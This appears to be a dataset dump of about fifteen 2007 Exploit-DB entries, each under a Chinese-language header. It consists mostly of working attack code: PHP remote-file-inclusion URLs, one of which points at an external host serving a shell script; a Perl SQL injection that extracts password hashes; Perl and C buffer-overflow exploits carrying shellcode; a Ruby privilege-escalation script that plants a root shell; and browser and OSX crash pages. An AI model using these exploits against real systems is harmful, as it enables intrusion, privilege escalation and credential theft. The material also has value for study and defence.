QLWD/code_shield huggingface dataset:
标题: Neon Labs Website 3.2 - 'nl.php?g_strRootDir' Remote File Inclusion EDB-ID: 3163 CVE: 2007-0496 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-20 漏洞利用脚本: ------------------------------------------------------------------------------------------------------------------------
Script:nlws
Affected Version:3.2
Downlaoad:http://neonlabs.structum.com.mx/pkgs/nlws_3-2.zip
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (lib/nl/nl.php)
Vul Code;
include($g_strRootDir.$g_strLibDir."nl/nlsite.php");
include($g_strRootDir.$g_strLibDir."nl/nltable.php");
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/lib/nl/nl.php?g_strRootDir=[Bad Code]
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-20] URL: https://www.exploit-db.com/exploits/3163
标题: PHPSherpa - '/include/config.inc.php' Remote File Inclusion EDB-ID: 3161 CVE: 2007-0495 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-20 漏洞利用脚本: ------------------------------------------------------------------------------------------------------------------------
Script:PhpSherpa
Affected Version:....
Downlaoad:http://linuxeduquebec.org/IMG/tgz/sherpa.tgz
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (include/config.inc.php)
Vul Code;
include($racine."include/connect.inc.php");
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/include/config.inc.php?racine=[Bad Code]
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-20] URL: https://www.exploit-db.com/exploits/3161
标题: MySpeach 2.1b - 'up.php' Remote File Inclusion EDB-ID: 3165 CVE: 2007-0498 2007-0491 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-20 漏洞利用脚本: ------------------------------------------------------------------------------------------------------------------------
Script:MySpeach
Affected Version:beta2.1 and maybe older
Downlaoad:http://www.graphiks.net/scripts/chat/myspeach-2.1beta.zip
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (up.php)
Vul Code;
include_once($my['root'].'/admin/funcs.php');
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/up.php?my[root]=[Bad Code]
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-20] URL: https://www.exploit-db.com/exploits/3165
标题: DivX Player 6.4.1 - DivXBrowserPlugin 'npdivx32.dll' IE Denial of Service EDB-ID: 3157 CVE: 2007-0429 类型: DOS 平台: WINDOWS 发布日期: 2007-01-19 漏洞利用脚本: <!--
---------------------------------------------------------------------------------------------------------------------
DivX Player 6.4.1 (DivXBrowserPlugin npdivx32.dll) Internet Explorer Denial
of Service
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

This plugin is installed with DivX Player. This is the one you can find with
the last version of the software DivX Player 6.4.1
url: http://www.divx.com/
---------------------------------------------------------------------------------------------------------------------
-->
<html>
<OBJECT id=DivXBrowserPlugin style="LEFT: 0px; WIDTH: 1px; TOP: 0px; HEIGHT:
1px" height=1 width=1
       classid=clsid:67DABFBF-D0AB-41fa-9C46-CC0F21721616>
       <PARAM NAME="_cx" VALUE="26">
       <PARAM NAME="_cy" VALUE="26"></OBJECT>
<script>
DivXBrowserPlugin.GoWindowed()
</script>

# milw0rm.com [2007-01-19] URL: https://www.exploit-db.com/exploits/3157
标题: BrowseDialog Class 'ccrpbds6.dll' Internet Explorer 7 - Denial of Service EDB-ID: 3155 CVE: 2007-0371 类型: DOS 平台: WINDOWS 发布日期: 2007-01-18 漏洞利用脚本: <!--
-----------------------------------------------------------------------------------------------------------
BrowseDialog Class (ccrpbds6.dll) Internet Explorer Denial of Service
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------------------------------------
-->
<html>
<object classid='clsid:19E6E148-BAEC-11D2-B03A-EAFC20524153' id='CCRP_BDc'></object>
<script language='vbscript'>

argCount = 1

arg1=String(2000000, "A")

CCRP_BDc.SelectedFolder = arg1
</script>

<script language='javascript'>
document.location.reload()
</script>

# milw0rm.com [2007-01-18] URL: https://www.exploit-db.com/exploits/3155
标题: Rumpus 5.1 - Local Privilege Escalation / Remote FTP LIST EDB-ID: 3156 CVE: 2007-0019 类型: LOCAL 平台: OSX 发布日期: 2007-01-19 漏洞利用脚本: #!/usr/bin/ruby
# Copyright (c) Lance M. Havok  <lmh [at] info-pull.com>
#               Kevin Finisterre <kf_lists [at] digitalmunition.com>
#
# Proof of concept for issues described in MOAB-18-01-2007.

require 'net/ftp'
require 'socket'

bugselected = (ARGV[0] || 0).to_i
target_host = (ARGV[1] || "localhost")
target_user = (ARGV[2] || "anonymous")
target_pass = (ARGV[3] || "rumproast")

def list_bug(o)
  payload =   "A" * 251
  payload <<  [0x41424344].pack("V")
  payload <<  [0x61626364].pack("V")
  payload <<  [0x30313233].pack("V")
  payload <<  [0xdeadface].pack("V")
  o.list(payload)
end

def local_priv_escalation()
  wrapper   = 'int main() { setuid(0); setgid(0); system("/bin/sh -i"); return 0; }'
  fake_ipfw = 'int main() { system("/usr/sbin/chown root: /tmp/shX; /bin/chmod 4755 /tmp/shX"); return 0; }'
  command_line =  "echo '#{wrapper}' > /tmp/test.c && cc -o /tmp/shX /tmp/test.c && "    +
                  "echo '#{fake_ipfw}' > /tmp/ipfw.c && cc -o /tmp/ipfw /tmp/ipfw.c && " +
                  'export PATH="/tmp/:$PATH" && /usr/local/Rumpus/rumpusd'
  system command_line
  sleep 1
  puts "++ Enjoy root shell..."
  system "/tmp/shX"
end

case bugselected
  when 0
    puts "++ FTP LIST heap buffer overflow..."
    Net::FTP.open(target_host) do |ftp|
      ftp.login("#{target_user}","#{target_pass}")
      list_bug(ftp)
    end
  when 1
    puts "++ Local privilege escalation..."
    local_priv_escalation()
end

# milw0rm.com [2007-01-19] URL: https://www.exploit-db.com/exploits/3156
标题: Transmit.app 3.5.5 - 'ftps://' URL Handler Heap Buffer Overflow (PoC) EDB-ID: 3160 CVE: 2007-0020 类型: DOS 平台: OSX 发布日期: 2007-01-20 漏洞利用脚本: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
 "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
 <head>
  <title>MOAB-19-01-2007</title>
  <script>
   function boom() {
       var recipient = document.getElementById('testbox');
    var str = '';
    for (var i = 0; i < 408; i++) {
        str = str + 'A'
    }
    str = str + 'ABCD';
    
    alert('Payload size: ' + str.length);
    
    str = "ftps://" + str;
    ftarget = document.createElement('iframe');
    ftarget.src = str;
    ftarget.width = 1;
    ftarget.height = 1;
    recipient.appendChild(ftarget);
   }
  </script>
 </head>
 <body>
     <div id="testbox" style="display: none;"></div>
  <input type="button" onclick="boom();" value="Test MOAB-19-01-2007" />

 </body>
</html>

# milw0rm.com [2007-01-20] URL: https://www.exploit-db.com/exploits/3160
标题: GNU/Linux mbse-bbs 0.70.0 - Local Buffer Overflow EDB-ID: 3154 CVE: 2007-0368 类型: LOCAL 平台: LINUX 发布日期: 2007-01-18 漏洞利用脚本: /* GNU/Linux mbse-bbs 0.70.0 & below stack overflow exploit
 * ========================================================
 * Multiple overflow conditions occur within mbse-bbs versions 0.70.0 & below.
 * The current version of mbse-bbs does not contain these weaknesses. 
 * Exploitation of these vulnerabilities can facilitate a privilege escalation
 * attack in which an unprivileged user becomes root. Exploit calculates
 * return address where ASLR is not in use. Vulnerable code is shown below;
 * 
 * matthew@localhost ~/foo/mbsebbs-0.70.0/unix $  cat -n mbuseradd.c 
 * ...
 * 177          shell   = calloc(PATH_MAX, sizeof(char));
 * ...
 * 228          sprintf(shell, "%s/bin/mbsebbs", getenv("MBSE_ROOT"));
 * 
 * (heap corruption in 0.33.17/stack overflow in others).
 * *** glibc detected *** free(): invalid next size (normal): 0x0804e068 ***
 *
 * Example Usage.
 *  matthew@localhost ~ $ id
 *  uid=1000(matthew) gid=100(users) groups=10(wheel),100(users)
 *  matthew@localhost ~ $ ./prdelka-vs-GNU-mbsebbs /opt/mbse/bin/mbuseradd
 *  [ GNU/Linux mbse-bbs 0.70.0 & below stack overflow exploit
 *  [ Using return address 0xbfffefd8
 *  sh-3.1# id
 *  uid=0(root) gid=1(bin) groups=10(wheel),100(users)
 * 
 * - prdelka
 */
#include <stdio.h>
#include <stdlib.h>

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x31\xc0\x50\x68""//sh""\x68""/bin""\x89\xe3"
                 "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc,char* argv[]) {
        int i;
        long eip = 0x41414141;
 char envh[]="MBSE_ROOT=";
 printf("[ GNU/Linux mbse-bbs 0.70.0 & below stack overflow exploit\n");
        if(argc < 2) {
                printf("Error: [path]\n");
                exit(0);
        }
        char* buffer = malloc(strlen(envh) + 4085 + sizeof(eip));
 strcpy(buffer,envh);
        long ptr = (long)buffer; 
        for(i = 1;i <= 4061;i++){
                strncat(buffer,"A",1);
        }
        ptr = ptr + 4061;
        memcpy((char*)ptr,(char*)&eip,4);
        eip = 0xc0000000 -4 -strlen(argv[1]) -1 -strlen(buffer) -1 -strlen(shellcode) -1;
        memcpy((char*)ptr,(char*)&eip,4);
        char *env[] = {buffer,NULL};
        printf("[ Using return address 0x%x\n",eip);
        execle(argv[1],argv[1],"x","x","x",shellcode,NULL,env);
        exit(0);
}

// milw0rm.com [2007-01-18] URL: https://www.exploit-db.com/exploits/3154
标题: ComVironment 4.0 - 'grab_globals.lib.php' Remote File Inclusion EDB-ID: 3152 CVE: 2007-0395 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-18 漏洞利用脚本: /###################################################################\
#  ComVironment 4.0                                                 #
# =========================================================         #
# Published : 2007-01-18                                            #
# Remote: Yes                                                       #
# Site:http://switch.dl.sourceforge.net/sourceforge/comvironment/   #
#####################################################################
# Author: GolD_M = Mahmood_ali                                      #
# Contact: HackEr_@W.cN                                             #
# =====================================================             #
# ThanX=All My Friends- ABDULLAH00 - Jaeger                         #
# SpeciaL GreeTz : TrYaG-Team & 4lKaSrGoLd3N-Team                   #
\###################################################################/
/###################################################################\
# In :                                                              #
# /libraries/grab_globals.lib.php                                   #
# LiNe:                                                             #
# /3                                                                #
# Vulnerable Code:                                                  #
# require_once($inc_dir . 'libraries/grab_functions' . $ext);       #
# ExPlOiT :                                                         #
# /libraries/grab_globals.lib.php?inc_dir=[Evil-Code]               #
#                                                                   #
#                                                                   #
#             /#######################################\             #
#             #         TrYaG.Com & DwRaT.Com         #             #
#             \#######################################/             #
\###################################################################/

# milw0rm.com [2007-01-18] URL: https://www.exploit-db.com/exploits/3152
标题: Woltlab Burning Board 1.0.2/2.3.6 - 'search.php' SQL Injection (3) EDB-ID: 3146 CVE: 2007-0388 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-17 漏洞利用脚本: #!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Response;

$| = 1;
print "
###################################################
##
## Woltlab Burning Board 2.3.6 <= / Lite Exploit 
##
###################################################
##
## Coded by 666 <http://blueshisha.mutebox.net>
## Bug by trew
##
###################################################
\n";

if($#ARGV < 0)
{
        print "[x] Usage: wbbsploit.pl [Target] [Userid] [Searchstring]\n";
        exit;
}
print "<~> Exploiting...\n";
my $url = shift;
my $id = shift;
my $sstring = shift;

my $ua = LWP::UserAgent->new;
my $request = new HTTP::Request('POST', 'http://'.$url.'search.php');
$request->content('searchuser=&name_exactly=1&topiconly=0&showposts=0&searchdate=0&beforeafter=after&sortby=lastpost&sortorder=desc&send=send&sid=&submit=Suchen&boardids%5B%5D=1)%20UNION%20SELECT%20username,password%20FROM%20bb1_users%20WHERE%20userid='.$id.'/*&searchstring='.$sstring.'');
$request->content_type('application/x-www-form-urlencoded');
my $response = $ua->request($request);
my $body     = $response->content;
print "<~> Hash: ";
$body=~/([a-f0-9]{32})/;
print $1;
print "\n";

# milw0rm.com [2007-01-17] URL: https://www.exploit-db.com/exploits/3146
标题: PHPMyphorum 1.5a - '/mep/frame.php' Remote File Inclusion EDB-ID: 3145 CVE: 2007-0361 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-17 漏洞利用脚本: #########################################################################  
#                                                                       #                                            
#           [ PHPMyphorum 1.5a ]                                        #                           
#                                                                       #                                            
# Class:     File Include Vulnerability                                 #      
# Published  2007/1/17                                                  #                              
# Remote:    Yes                                                        #                                      
# Critical   Level : Dangerous                                          #                                                   
# Site:      http://www.comscripts.com/scripts/php.phpmyphorum.1104.html#        
# Author:    TheViper-hacker                                            #
# Contact:   theviper-hacker@hotmail.com           #                          
#                             #
#########################################################################
file ;
frame.php
======================================================
Vuln Code
include("$chem/session/cookie_sys_verif.php");
=======================================================
Exploit :        

Http:// www.Victem.0 / [Comment IT_path] /mep/frame.php?chem=http://turnkringonzehoop.be/viper.txt?
 

 ----  Thanx: [MoHaNdKo] [Cold ThreE] [cold zero] [The Wolf KSA]  ]organza[
 ---- GreeTz: All www.4azhar.Com Members Cont : rida-10@msn.com
--------------------------------------||  Viva ISLAM ||-----------------------------------------

# milw0rm.com [2007-01-17] URL: https://www.exploit-db.com/exploits/3145
标题: Oreon 1.2.3 RC4 - '/lang/index.php' Remote File Inclusion EDB-ID: 3150 CVE: 2007-0360 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-17 漏洞利用脚本: ------------------------------------------------------------------------------------------------------------------------
Script:oreon-1.2.3-RC4
Downlaoad:http://www.oreon-project.org/
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (lang/index.php)
Vul Code;
if (isset($_GET["file"])){
 include_once($_GET["file"]);
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/lang/index.php?file=[Bad Code]
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-17] URL: https://www.exploit-db.com/exploits/3150
标题: KarjaSoft Sami FTP Server 2.0.2 - USER/PASS Remote Buffer Overflow EDB-ID: 3140 CVE: 2006-0441 类型: REMOTE 平台: WINDOWS 发布日期: 2007-01-17 漏洞利用脚本: #!/usr/bin/perl
#  Exploit for SAMI FTP  version 2.0.2
#  USER/PASS BUFFER OVERFLOW ARBITARY REMOTE CODE EXECUTION (CALC.exe) 
#  You can put you own shellcode to spawn a shell
#  Thrusday 17th  Jan 2007
#  Tested on : Windows 2000 SP4  (Use your own return address for other flavors)  
#  
#    
#  
#  Coded by UmZ! umz32.dll@gmail.com
#  On behalf of : Secure Bytes Inc.
#  http://www.secure-bytes.com/exploits/
# 
#
# 
#     Special Thanks to Ahmad Tauqeer, Ali Shuja and Uquali
#
#
#     Disclaimer: This Proof of concept exploit is for educational purpose only.
#          Please do not use it against any system without prior permission.
#            You are responsible for yourself for what you do with this code.
#
#
#     Note: After executing the exploit You will get "Cannot login User or password not correct."
#   That doesn't mean exploit failed whenever you click on Sami FTP server it will crash 
#   resulting in the execution of calc.exe and will execute whenever the SAMI FTP server 
#   restarts until it is reinstalled.


use Net::FTP;


print "Coded by UmZ! umz32.dll@gmail.com\n";
print "http://www.secure-bytes.com/exploits/\n";
 
$ftp = Net::FTP->new("192.168.100.250", Debug => 0) or die "Cannot connect : $@";

my $msg ="\x90" x596;      #140
my $msg2 ="B"x484;
my $shellcode =  "\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8".
   "\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1".
   "\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07".
   "\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25".
   "\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5".
   "\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d".
   "\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4".
   "\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0".
   "\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c".
   "\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b".
   "\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4";

my $test= "\x90" x 108;

my $msg1=$msg. "\x70\xFD\x8B\x01"."\x96\x64\xF8\x77". $test .  $shellcode. "\r\n";

$ftp->login($msg1."\r\n\0","umz") or die "Cannot login ", $ftp->message;

$ftp->quit;

# milw0rm.com [2007-01-17] URL: https://www.exploit-db.com/exploits/3140
标题: Uberghey 0.3.1 - 'FrontPage.php' Remote File Inclusion EDB-ID: 3147 CVE: 2007-0359 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-17 漏洞利用脚本: /###################################################################\
# Uberghey CMS 0.3.1                                                #
# =========================================================         #
# Published : 2007-01-17                                            #
# Remote: Yes                                                       #
# Site:http://switch.dl.sourceforge.net/sourceforge/uberghey/       #
#####################################################################
# Author: GolD_M = Mahmood_ali                                      #
# Contact: HackEr_@W.cN                                             #
# =====================================================             #
# ThanX=All My Friends-ABDULLAH00-Dr.Hail-MoHaNdKo-SilVeR_FaLCoN-Z4E#
# SpeciaL GreeTz : TrYaG-Team & 4lKaSrGoLd3N-Team                   #
\###################################################################/
/###################################################################\
# In :                                                              #
# /frontpag.php                                                     #
# LiNe:                                                             #
# /17                                                               #
# Vulnerable Code:                                                  #
# include("$setup_folder/i18n/$language/$page_id.inc");             #
# ExPlOiT :                                                         #
# /frontpage.php?setup_folder=shell.txt?                            #
#                                                                   #
#                                                                   #
#             /#######################################\             #
#             #         TrYaG.Com & DwRaT.Com         #             #
#             \#######################################/             #
\############################MAHMOOD_ALI############################/

# milw0rm.com [2007-01-17] URL: https://www.exploit-db.com/exploits/3147
标题: Apple Mac OSX 10.4.8 - SLP Daemon Service Registration Buffer Overflow (PoC) EDB-ID: 3151 CVE: 2007-0355 类型: DOS 平台: OSX 发布日期: 2007-01-18 漏洞利用脚本: #!/usr/bin/ruby
# (c) Copyright 2006 Lance M. Havok   <lmh [at] info-pull.com>
#                  Kevin Finisterre <kf_lists [at] digitalmunition.com>
# All pwnage reserved.
#
# Proof of concept for MOAB-17-01-2007
# http://projects.info-pull.com/moab/MOAB-17-01-2007.html
#
# Originally reported to Apple by Kevin, on 08/02/2006.

require 'socket'

target_path = (ARGV[0] || '/var/run/slp_ipc')
slp_socket = UNIXSocket.open(target_path)

payload =   ("\x58" * 506)
payload <<  [0xdeadbeef].pack("V")            # ...it expects a valid mem. address (ex. 0xbffff398)

stream  = "\x01"                            + # SrvRqst = 1
          "\x00\x13"                        + # Length of remaining fields? (up to attr-list)
          "\x04\x00\x00\x00\x00\x00\x00"    +
          "\x00\x02\x00\x00"                + # length of scope-list string
          "\x78\x78"                        + # <scope-list>
          "\xff\x03\x00\x00"                + # length of attr-list string 0x3ff = 1023 in hex.
          (payload)                           # <attr-list>

slp_socket.write stream
slp_socket.close

# milw0rm.com [2007-01-18] URL: https://www.exploit-db.com/exploits/3151